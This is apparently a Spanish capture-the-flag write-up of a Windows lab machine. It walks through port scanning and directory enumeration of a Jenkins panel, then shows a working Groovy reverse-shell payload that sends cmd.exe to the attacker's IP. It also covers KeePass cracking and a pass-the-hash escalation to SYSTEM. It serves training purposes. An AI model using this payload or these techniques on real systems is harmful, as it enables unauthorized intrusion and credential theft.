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1. Enumeración. 
Realizamos un PING a la máquina víctima para comprobando su TTL. A partir del valor devuelto, 

nos podemos hacer una idea del sistema operativo que tiene. En este caso podemos deducir 

que se trata de una máquina Windows. 

 

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes servicios y 

versiones asociados. 

 

 

Intentamos realizar una enumeración de los recursos compartidos. Sin embargo, no tenemos 

éxito. 
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Comprobamos las tecnologías usadas por los servicios webs que se presentan en el puerto 80 y 

en el 50000. 

 

 

 

2. Análisis de vulnerabilidades. 
Entramos en la web del puerto 80 y hacemos una revisión de la misma. 

 

Si realizamos una búsqueda, para revisar el comportamiento de la web, nos devuelve una 

imagen con el supuesto error. ¿Nos intentan despistar?  

 

 

 

 

 



 

©Dandy_loco 
https://dandyloco.github.io/ 

Cambiamos de vector de ataque y revisamos la web que se está sirviendo por el puerto 50000. 

 

Realizamos una búsqueda para entender que es Jetty. 

 

Vamos a realizar una enumeración de directorios. Descubrimos la carpeta “askjeeves”. 

 

Navegamos a la web y buscamos información sobre el panel al que nos enfrentamos. 

 

. 

Podemos ver información sobre la versión de Jenkins a la que nos estamos enfrentando. 

 



 

©Dandy_loco 
https://dandyloco.github.io/ 

3. Explotación y acceso 
Buscamos información de cómo podemos abusar de este panel y nos topamos con el siguiente 

enlace: https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-

shell-98b951fa64a6 

 

Con la información obtenida, nos creamos nuestro payload con la siguiente información. 

String host="10.10.14.13"; 

int port=443; 

String cmd="cmd.exe"; 

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new 

Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), 

si=s.getInputStream();OutputStream 

po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available(

)>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available(

)>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try 

{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 

 

 

Nos ponemos en escucha en nuestra máquina de atacante por el puerto 443 y lo cargamos en 

el panel web del Jenkins. 

 

Conseguimos acceso a la máquina como el usuario “kohsuke”. 

 

 

 

 

 

 

 

https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
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4. Escalada de privilegios. 
Revisamos el directorio del usuario y descubrimos un fichero llamado CEH.kdbx. Es un fichero 

de Keepass. 

 

Con impacket-smbserver, nos creamos un servidor SMB para podernos pasar el fichero de 

Keepass. 

 

 

Con keepass2john sacamos el hash y, mediante fuerza bruta, intentamos obtener la clave de 

acceso. 

 

 

Clave: moonshine1 

Nos instalamos en nuestra máquina atacante kpcli para revisar su contenido 

(https://manpages.ubuntu.com/manpages/focal/man1/kpcli.1.html) 

 

https://manpages.ubuntu.com/manpages/focal/man1/kpcli.1.html
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Obtenemos lo que parece un hash: 

aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 

 

Validamos si el hash obtenido es válido para el usuario administrador con crackmapexec. 

 

Con psexec, realizamos un “pass the hash” ganando acceso como “nt authority\system”. 

 

Al intentar ver la flag root.txt, no la vemos en el directorio “Desktop” como es habitual. 

Encontramos un fichero llamado “hm.txt”. Revisamos su contenido y nos incita a que 

busquemos más profundamente. 

 

Mediante “dir /r” descubrimos los metadatos del fichero donde se está almacenando la flag. 

Leemos dicha información con more. 
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